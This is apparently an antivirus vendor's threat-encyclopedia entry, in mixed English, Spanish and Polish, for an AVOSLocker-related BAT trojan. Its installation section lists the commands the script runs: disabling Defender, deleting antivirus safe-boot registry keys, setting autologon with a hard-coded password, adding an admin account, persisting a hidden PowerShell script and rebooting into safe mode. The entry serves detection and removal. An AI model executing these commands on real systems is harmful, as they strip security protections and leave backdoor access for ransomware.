Author: Khristian Joseph Morales   
 

Generic.Ransom.AVOSLocker.!s!.D.96A58DC3 (BITDEFENDER)

 PLATFORM:

Windows

 OVER ALL RISK RATING:
 DAMAGE POTENTIAL::
 DISTRIBUTION POTENTIAL::
 REPORTED INFECTION:
 INFORMATION EXPOSURE:
Low
Medium
High
Critical

  • Threat Type:
    Trojan

  • Destructiveness:
    No

  • Encrypted:
    No

  • In the wild::
    Yes

  OVERVIEW

INFECTION CHANNEL: Descargado de Internet, Eliminado por otro tipo de malware

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File size: 4,244 bytes
File type: BAT
Memory resident: No
INITIAL SAMPLES RECEIVED DATE: 02 lutego 2022
PAYLOAD: Restarts system

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Agrega los procesos siguientes:

  • reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  • reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticecaption /f
  • reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticetext /f
  • reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDeskMSI /f
  • reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDeskMSI /t REG_SZ /d Service /f
  • reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk /f
  • reg add HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk /t REG_SZ /d Service /f
  • reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d Administrator /f
  • reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d Password123! /f
  • reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d 1 /f
  • reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v *a /t REG_SZ /d "cmd.exe /c powershell -exec bypass -w 1 -file c:\programdata\AVO.ps1" /f
  • reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v *a /t REG_SZ /d "cmd.exe /c powershell -exec bypass -w 1 -file c:\programdata\AVO.ps1" /f
  • bcdedit /set {default} safeboot network
  • net use \192.168.111.73 /user:workgroup\test P@ssw0rd123
  • shutdown /r /f /t 0
  • Terminates and disables services
    • net stop wuauserv
    • sc config wuauserv start= disabled
  • Delete AV related registry
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ds_agent /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ds_monitor /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Amps /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ds_notifer /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WRkrn /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WRSVC /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPProtectedService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPIRedline /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPSecurityService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPUpdateService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\cmdvith /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\cmdicap /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CmdAgent /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\cyserver /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MBEndpointAgent /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CylanceSvc /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MBAMService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SepMasterService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CbDefense /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CbDefenseWSC /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPProtectedService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\epredline /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPSecurityService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPUpdateService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EPIntegrationService /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\TmCCSF /f
    • reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\TmWSCSvc /f
  • Add user and localgroup:
    • net user Administrator Password123! /add
    • net localgroup administrators Administrator /add
    • net user Administrator Password123!
  • net user Administrator /Active:Y

Otros detalles

Hace lo siguiente:

  • It restarts the affected machine

  SOLUTION

Minimum scan engine: 9.800
First VSAPI Pattern File: 17.372.03
First VSAPI Pattern Release Date: 09 de lutego de 2022
VSAPI OPR PATTERN-VERSION: 17.373.00
VSAPI OPR PATTERN DATE: 10 de lutego de 2022

Step 1

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 2

Explorar el equipo con su producto de Trend Micro para eliminar los archivos detectados como Trojan.BAT.AVOSLOCKER.YPCBB En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.


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